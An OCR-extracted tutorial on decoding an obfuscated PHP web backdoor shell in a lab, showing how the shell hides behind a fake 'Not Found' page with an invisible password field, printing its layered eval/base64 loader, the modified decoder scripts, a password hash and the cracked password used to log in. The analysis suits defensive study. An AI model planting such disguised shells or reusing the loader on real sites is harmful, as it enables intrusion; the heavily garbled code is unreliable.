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Malicious piece of codes which allows an attacker to access the data, modify data, delete data, upload
other files or even execute system commands to perform tasks such as create new user, read system
files etc. is known as backdoor shell.

If anyone browse file using web browser and if the file doesn’t exist then the user may see an error
message which shows that the requested URL was not found. Usually the message is correct if web
server doesn’t find the requested file but sometimes it doesn’t.

As technology rapidly changes as well as cyber criminals applying new methods in order to hide their
dirty piece of codes like backdoor shells which they use for hacktivist activities. Backdoor shells can be
password protected in order to limit the access to the file and contains encrypted password in the
source code of the file. Sometimes backdoor shell codes can be found in plain text and sometimes it can
be obfuscated/encoded.

In this article we will decode an obfuscated/encoded web backdoor shell. We will recover the original
source code and the encrypted password in order to login to the backdoor shell.

In this article we will use two virtual machines. In Windows 7, we configured XAMPP in order to host
and browse the php backdoor file. Kali Linux used to perform some command line operations like URL
decode, finding hash algorithm information etc.

Source Code: https://github.com/xpress99/webshell

Let’s browse the file 3ca.php in Windows 7 machine.

€ g |192.168.187.128/3ca.pl

Not Found

The requested URL was not found on this server.

Apache Server at 192.168.187.128 Port 80

Figure 1: Error message



Looks like the file 3ca.php is not exists in the webserver. But when we view the source code of the file
then we see something interesting. A form exists with password filed!

+ (@ | view-source:http://192.168.187.128/3ca.php

<hl=Not Found</hl>

<p>The requested URL was not found on this server.</p>
<hr>

<address>Apache Server at 192.168.187.128 Port 80</address>
< =] 10 - - . - < yle>
<center><form methed=post><input type=password name=pass></form></center>

Figure 2: View source of 3ca.php

Because of the CSS style properties, the password filed is invisible to the user. After changes the CSS
rules from the Firefox browser, the password filed is now visible.

€ @ #& |192.168.187.128/3ca.php
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<form method="post">

</form>
</center>
</body>
</html>

Figure 3: Input filed

We found a password field in this page. So, if we enter the correct password then may be will enter the
backdoor shell. But where is the password?



Let’s check the source code of the file. Open the 3ca.php file in Notepad++ from Windows 7 machine.

[ C\xampp\htdocs\3ca.php - Notepad-++ [==n[EcE
File Edit Search View Encoding Language Settings Tools Macro Run Plugins Window ?

cBHHEB 3B 4Bk | g2 %it—'?‘?i_"“lli]@.at_w OSRORCEDRETE =)

El%asto B3|

<?php /* Cod3d by 3xplr3 - Dr3@m3r~1986 */$000000000=urldecode (':66%67336173%62365%68370%72361%34%63%
$000000000=$000000000{4} . $000000000{ =} . $000000000{3} . $000000000{5} ; $000000000.=$000000000{2 } . $000000000{10} .$000000000{13}. |
$000000000{ 16} ; $000000000.=$000000000{ 3} . $000000000{11}.5$000000000{12}.$000000000{7}.$000000000{5}; $000000000=$000000000{

} .$000000000{12} .$000000000{7} .$000000000{5} . $000000000{15} ; $000000000=$0C00000000{0} . $000000000{1} .$000000000{5} .$000000000
{14};$000000000=8$000000000.$000000000{11};$000000000=$C00000000.$000000000{3}; $00C000000=$000000000{0} . $000000000{=}.
$000000000{5} .$000000000{ 2} .$000000000{ 16} ; $O00000000=$000000000{3} .$000000000{14}.$O00000000{=}.$000000000{14}.$C00000000{
2} ; $000000000 ;eval ($000000000 (

(Is=')):;return;?>
~Dkr9NHenNHenNHelzfukgFMaXdoyjcUImbl 9oUAXxyb2 rmRtwmwJ4 LTOSNHr8XTZEXRIwmwJIXLTOSNHeEXHr8XhtONTO8XHeEXHr8 Pkr8XTZzEXTO8XHtILTZEXHr
8XTzEXRtONTzEXTzEXHeEpRt fydmOlFmlvfbfgDykwBAsKal9aaryiWMkeCOOLOMcucO0lpUMpHdrisAunOFaYzamcCGyp6HerZHzW1YjF4RUSVNUFSkOy tWOOyOL
fwUAPRTri1KT1nOAlYAaacbBylDCBkjcoaMc2ipDMsSdBSvFuyZF301 fmf4GbPXHTwzYeA2YzI5hZ8mhULpR2cjdo9zcUILTZEXHr8XTZEXhTs1fMyShtONTZEXTz
EXTzEpRX=—eWPLCba0Dy9XCbYzwe0IwMriCBCxYeaMHMCZY jrxCzL5cByMHzC2cel LReIZHTLZwjSYtJOjd2xvFIJESwtwjHeno0jC2wjSYtJOLcBei fBx0b2yjfo
1vdJE9wtfoDBx1F01idJF7eWpEcoaMDB51htfTOAxobinnarImRtngbOckTragbZL7eWppcJIIF30ZFo9zhtOgAlDaUaLaUBZ fwayOWblaTOakgWALy T1WmbUXmO2
9ve2x1kZLIwT09wociduY1lwtLIGX0OhwtEIwoilCBO1FJImUyOAAt8XRIEIYeEOwrSvitnod3aVet FpRXOhwtEIwoa4DbW7eWp9eWpEF2azF21vdl9zfoyZftIpRX
OhWoaZFM9Zb3k1F09ZfolVeZIXhTSYtLnpdMlgF2a0ht £1FmkvF19Sd2FmRr5aTrXpRKX0hWolVDa9zcbWPk20pF3nSCblgebkZd3kzkZXXhTSYtLnpdMlgF2a0ht
£Sd2fgcbkZd3kzkZXXhTSYtLnpdMlgF2a0htfsCbigebi1C3a0DBIVb30pdBAmMReEpKXOhWuY1 fy90DB11b2xpdBl0heEpRKX0OhWuY1fy9sCBfpCl9xfB90cbYgFm
aVfolscUIXhTSYtLnLcBcpdMAPk1cyAlYKTO4mRtEmaMaZweHVHtEPOraBhUFpRXOhDBCPwoflfy9sCBfpCl19xfB90chbYge3njhtLIhUn7eWPIwtEIcmaVC30pd2
4IF30ZDbnzdoyzDoazb2yZFMy5ht0iFmkiGULIGXOhwtEIwtEIwtnZcbO1FM4IDbYQCbkZCbLPkoyZFMy5hUE /woyZFMy 5b21 i FtImF30ZDbnzdoyzDoazb2yZFM
Y5KZXIkoyZFMy5ShUE6wuYOFM1XF2xiF2i1FZILCbkZCbLpRXOhwtEIwn0YtJEIwtELb1nNAIWINUnz fukpFuYSCbYPcbYgCbkZCbLPKy SWT1YAhTSY tmO0YtMcldM
YODB9VwunZDB50To9mDB4PhUn7eWPIwtEIcBYPAZEmNoIXNLS5vEtnod3aVeceXvDer+eWPIwtEIwWtEIwtEINuE+aoilwuklFbalF30lctnaALXIf2yzwo5vEtnMd3
aVetnvddnODolzwuY1FmclFJ48R3E+eWPIWtEIWtEIWtEINOi ZNIOhwtEIwtEIwtEIwexicoOZcbYzNLyXCBYPcUnTcbk2cbwICbWIkZ41lblYyAlcyAl SmUyOAAY
9wT1YAK10VKZnWd3kOweIXNt9icoOZcbYzNIOhwtEIwtEIwtEIwexzfulScT5pdmnl ftn7woliFMfpdjPXK2kiC2smFM91dMWsC29Sd3wéw2cMcisJd3kLcbw6Hb
nd4wu¥Yvdol LwtYMcMC7wu08R3YOGBx1NIOhwtEIwtEIwtEIwexjcB50cbw+NocvFMOIdBa0Do9LNbnvF3W+NolVFuaOwuO5FoA9FoyzF3fvFMWIdMyscT1XCbYzNj
XvcM9ZAT48R2Y1dmO1F j4mRKXOhwtEIwoa4DbW7eWp9eWppcJIIwBlzF2a0htELb1YyA1YKT05ddBW1htOgADaUaLaUBZ fwayOWb0iNA1VimbUl fwt LpeWPIWtEIDB
CPwoasFuO5htELCbaODy9XChYzwt LIguXYtJEIWtEIWtEIhtnpF3Y1ftITkySWT1YABZfXCbY2zk10ThUEMKJEPWwo1LYUILbInNA1Odk3niF3HmbULINTOIkoylfo
igFoyzFZEpwtLIhWOhwtEIwWtEIWtELb1YyA1YKT05ddBW1htOgADaUaLaUBZ fwayOWb0iNA1WmbUl fweOIfuklcTSYtJEIwtnlduYleWPIwtEIwtEIwanZDB50To

Figure 4: Partial source code of the file

The source code is not in plain text and it is obfuscated/encoded with php eval function. The code will
decode during the execution of the file.

The original source code is too big but we don’t need to understand full code. We will work on the
following source code.

<?php

$000000000=urldecode ('%66%67%36%73%62%65%68%70%72%61%34%63%6£%5£%74%6e%64");
$000000000=$000000000{4}.5000000000{9}.3000000000{3}.5000000000{5};
$000000000.=5000000000{2}.$000000000{10}.$000000000{13}.5000000000{16};
$000000000.=5000000000{3}.$000000000{11}.$000000000{12}.5000000000{7}.$000000
000{5};

$000000000=5000000000{0} .$000000000{12}.$000000000{7}.S000000000{5}.500000000
0{15};

$000000000=5000000000{0}.$000000000{1}.$000000000{5}.5000000000{14};
$000000000=$000000000.5$000000000{11};

$000000000=5000000000.$000000000{3};

$000000000=$000000000{0} .$000000000{8}.35000000000{5}.$000000000{9}.5000000000

{le};

SO00000000=$000000000{3}.5000000000{14}.$000000000{8}.$000000000{14}.50000000
00{8};

$000000000=_FILE ;

$O000000000=0x206c4;




eval (base64 decode (' JE8wMDBPMES8WMDOkKTO9PMDAWT ZAWKCRPTO08wTzBPMDAsJ3J1Jyk7JE8WT
zAWTO08wWMCgkTzAWME 8WTzZAWLDB4ANDImMKTskT08wMES8WME 8WPSRPTO8WMDAWT zAOJEIPTZAWMDAWT Y
gkTzBPMDBPT zAwWKCRPMDAwWT zBPMDAsSMHgxN2MpLCdFbnR1cnlvdXdraFJIWUtOVO9VVEFhQmJDYOR
kRmZHZ01lpSmpMbE1tUHBRCcVNzVNZYeFp6MDEYyMzQ1INjc40SsvPScsJO0FCQORFRkAISUpLTEIOT1BR
UINUVVZXWF1aYWJjZGVmZ2hpamtsbWS5vcHFyc3R1dnd4eXowMT IzNDU2Nzg5Ky8nKSk7ZXZhbCgkT
08BwWMES8WME8wWKTs=")) ;

return;

?>

In the very beginning of the php file a variable SOO0000000 contains an encoded URL string.

$000000000=urldecode ('%66%67%36%73%62%65%68%70%72%61%34%63%6£%5£%74%6e%64") ;

First, we need to decode the value. In order to decode we will use python module. From Kali Linux
machine we will make an alias of the python command as urldecode.

root@kali:~# alias urldecode='python -c "import sys, urllib as ul; print
ul.unquote plus(sys.argv[1l])"'

After execute the command, we got the decoded value.

Figure 5: Decoded value

So, we found that value of variable SOO0000000 is fgésbehpradco_tnd
The next line of the php file is

$000000000=$000000000{4}.$000000000{9}.3000000000{3}.$000000000{5};

Variable SO00000000{4} references the 5™ position of the array which gives us value “b” from the
decoded string and variable $OO0000000{9} references the 10 position of the array which gives us
value “@”. After applying this technique, we have got that value of variable SO00000000 is base

We have decoded the following texts after applying the previous technique.

$000000000 = base
$000000000.= base64 d
$000000000.= baseb64 decode
$000000000 = fopen
$000000000 = fget
$000000000 = fgetc
$000000000 = fgets
$000000000 = fread
$000000000 = strtr



Using above information now we will try to decrypt the codes of eval(base64_decode) function from
the encrypted php file.

We will now change the php file as below and save the file as “3ca_decode.php” and execute from the
browser.

<?php

$000000000=urldecode ('%66%67%36%73%62%65%68%70%72%61%34%63%6£%5£%74%6e%64") ;
$000000000=$000000000{4} .$000000000{9}.$000000000{3}.5000000000{5};
$000000000.=5000000000{2}.5$000000000{10}.5000000000{13}.5000000000{16};
$000000000.=5000000000{3}.$000000000{11}.5$000000000{12}.5000000000{7}.$000000
000{5};

$000000000=$000000000{0} .$000000000{12}.$000000000{7}.$000000000{5}.300000000
0{15};

$000000000=$000000000{0} .$000000000{8}.5000000000{5}.5000000000{9}.$000000000
{16};
$000000000=5000000000{3}.$000000000{14}.$000000000{8}.5000000000{14}.50000000
00{8};

$000000000=__ FILE ;

$000000000=0x206c4;

echo (base64 decode (' JE8wWMDBPMESWMDOkKTO9PMDAWT ZAWKCRPTO8wT zBPMDASJ3J1Jyk7JE8WT
zAWTO08wWMCgkTzAWMES8WT zAWLDBANDImMKTskT08wMESWME8WPSRPTO8WMDAWT ZAOJEOPT ZAWMDAWT y
gkTzBPMDBPT zAWKCRPMDAwWT zBPMDAsMHgxN2MpLCdFbnR1cnlvdXdraFJIWUtOVOOVVEFhOmJIDYOR
KRmZHZ01pSmpMbE1 tUHBRCVNzZVNZYeFp6MDEyMzQ1Njc40SsvPScsJOFCQORFRkAISUPLTELIOT1BR
ULINUVVZXWE1aYWJjZGVmZ2hpamt sbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT
08WMESWMES8WKTs=")) ;

return;

?>

Let’s execute the file.

@U i |§, http://localhost/3ca_decode.php - | ] | 3 |
77 Favorites | 55 @] Suggested Sites v 2| Same divers will cond... v

| @€ hitp://localhost/3ca_decode.php _ i

$000000000=5000000000(S000000000,'tb');$000000000($Q00000000,0x49£);SOOV000000=$0OV000000(SOO0000000($000000000
(S000000000,0x17¢), EnteryouwkhREYKNWOUTAaBbC cDAFGg L MmPpQqSsVvXxZz0123456789+=''ABCDEFGHIIKL MNOPQRSTUVWXYZ4l
(S000000000):

Figure 6: First level decode

After execution we have found another eval() function. It seems that we need to follow the same
procedure until we get the decrypted codes.



So, we will modify the 3ca_decode.php file as below and execute again from the browser.

<?php

$000000000=urldecode ('%$66%67%36%73%62%65%68%70%72%61%34%63%6£%5£%74%6e%64") ;
$000000000=$000000000{4}.$000000000{9}.5000000000{3}.$000000000{5};
$000000000.=$000000000{2} .$000000000{10}.$000000000{13}.$000000000{16};
$000000000.=$000000000{3}.$000000000{11}.5000000000{12}.$000000000{7}.S000000
000{5};

$000000000=$000000000{0} .$000000000{12}.$000000000{7}.5000000000{5}.$00000000
0{15};

$000000000=5$000000000{0} .$000000000{8}.5000000000{5}.$000000000{9}.$000000000
{16};
$000000000=5$000000000{3}.5000000000{14}.$000000000{8}.5000000000{14}.$0000000
00{8};

$000000000=_FILE ;

$000000000=0%x206c4;

$000000000=5$000000000 ('C:\xampp\htdocs\3ca.php', 'rb"');

$O00000000 ($SO00000000, 0x49f£) ;
$000000000=5000000000 ($O00000000 ($SO00000000 (SO00000000,0x17c), 'EnteryouwkhRHY
KNWOUTAaBbCcDAFfGgIiJjLIMmPpQgSsVvXxZz0123456789+/=", ' ABCDEFGHIJKLMNOPQRSTUVW
XYZabcdefghijklmnopgrstuvwxyz0123456789+/")) ;

echo ($000000000) ;

?>

Let’s execute the file again.

L P iy e L MR TR I T A IR e L

@U - |£_;, http://localhost/3ca_decode.php
7 Favorites | 515 | Suggested Sites v & | Same divers will cond... ¥

_ /& hitp://localhost/3ca_decode.php

$O00000000=str_replace(_ FILE_a'"".SO00000000."" $O00000000(5000000000($000000000
(SO00000000,5000000000), EnteryouwkhRHYKNWOUTAaBbC cDAFfGelliLIMmPpQqSsVvXxZz0123456789+/=''ABCDEFGH
(SO00000000):eval(SO00000000);

Figure 7: Second level decode

Still encrypted codes!

But this time we found a function str_replace() which calls the file itself and replace some strings with
others. The str_replace() function replaces some characters with some other characters in a string. It
seems that one more execution of eval() function will give us the decrypted codes.



Let’s modify the 3ca_decode.php file and this time we will execute it from php command line.

<?php

S000000000=urldecode ('%66%67%36%73%62%65%68%70%72%61%34%63%6£%5£%74%6e%64") ;
$000000000=$000000000{4} .$000000000{9}.$000000000{3}.5000000000{5};
$000000000.=5000000000{2}.5$000000000{10}.5000000000{13}.5000000000{16};
$000000000.=5000000000{3}.5000000000{11}.5000000000{12}.3000000000{7}.$000000
000{5};

$000000000=$000000000{0} .$000000000{12}.$000000000{7}.$000000000{5}.300000000
0{15};

$000000000=$000000000{0} .$000000000{8}.$000000000{5}.5000000000{9}.$000000000
{16};
$000000000=5000000000{3}.$000000000{14}.$000000000{8}.5000000000{14}.50000000
00{8};

$000000000=0x206c4;

$000000000=$000000000 ('C:\xampp\htdocs\3ca.php', 'rb');

$000000000 ($000000000, 0x49f) ;
$000000000=$000000000 ($O00000000 ($000000000 ($000000000,0x17c) , 'EnteryouwkhRHY
KNWOUTAaBbCcDAFfGgIiJjLIMmPpQgSsVvXxZz0123456789+/=", ' ABCDEFGHIJKLMNOPQRSTUVW
XYZabcdefghijklmnopgrstuvwxyz0123456789+/")) ;

echo ($000000000) ;

$000000000=str replace(' FILE a',"C:\xampp\htdocs\3ca.php", $000000000 (500000
0000 ($000000000 ($000000000, $000000000) , 'EnteryouwkhRHYKNWOUTAaBbCcDAFfGgIiJjL
1MmPpQQSsVvXxzz0123456789+/="', ' ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrst
uvwxyz0123456789+/")))

fclose ($000000000) ;

echo ($000000000) ;

2>

Let’s execute from php command line.

B C:\Windows\system32\cmd.exe E=5EcE @
C: \xampp\php )php exe c:\xamp \htdocs\Bca decode h

R

00000000=5 place(’__FI E ".$0 50@0@0@@ $0009@@@0@($000@®®@@0($0@0

@00@@($0®@@0@0G® $OOB@0@GE® uwthHYKNHOUTAaBchDdFFGgI1JJLlePpQ SsVvX
3456789+/=" EFGHIJKLMNOPQ&STURHXYZabcdnghlJklmnopqrstuvwxy7@12 4 9

4-/’ \ 'l 3= J:«—'In=‘=f‘hl"l[,7|r/\ﬂl"l(7ll"lﬂﬁ\ v al & NNRRANIAA

$auth _Pass

$color = n'UlurroD

$default actlon = F1lesMan ;

@def ine(YSEL ATH )

if( strpos($ SE RVER f HTTP USER AGENT’1,'Google’) !'== false ) (

header('HTTP/1.0 424 Not Found’);

exit;

@session_start();
@error_reporting(@);

Figure 8: Found password hash

Finally, we are able to decrypt the source code the encrypted php file. We have found the password
hash value.



Using online free hash decryption tool, we found the plain text password which is 3cadev

hes! [Timer: m/s] Please find them |

Figure 9: Decrypted password

Finally, we are able to login to the web backdoor shell.
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Figure 10: Logged in to backdoor shell

Sometimes it is very important to decode backdoors and identify their threat levels in order to prevent
further damages.



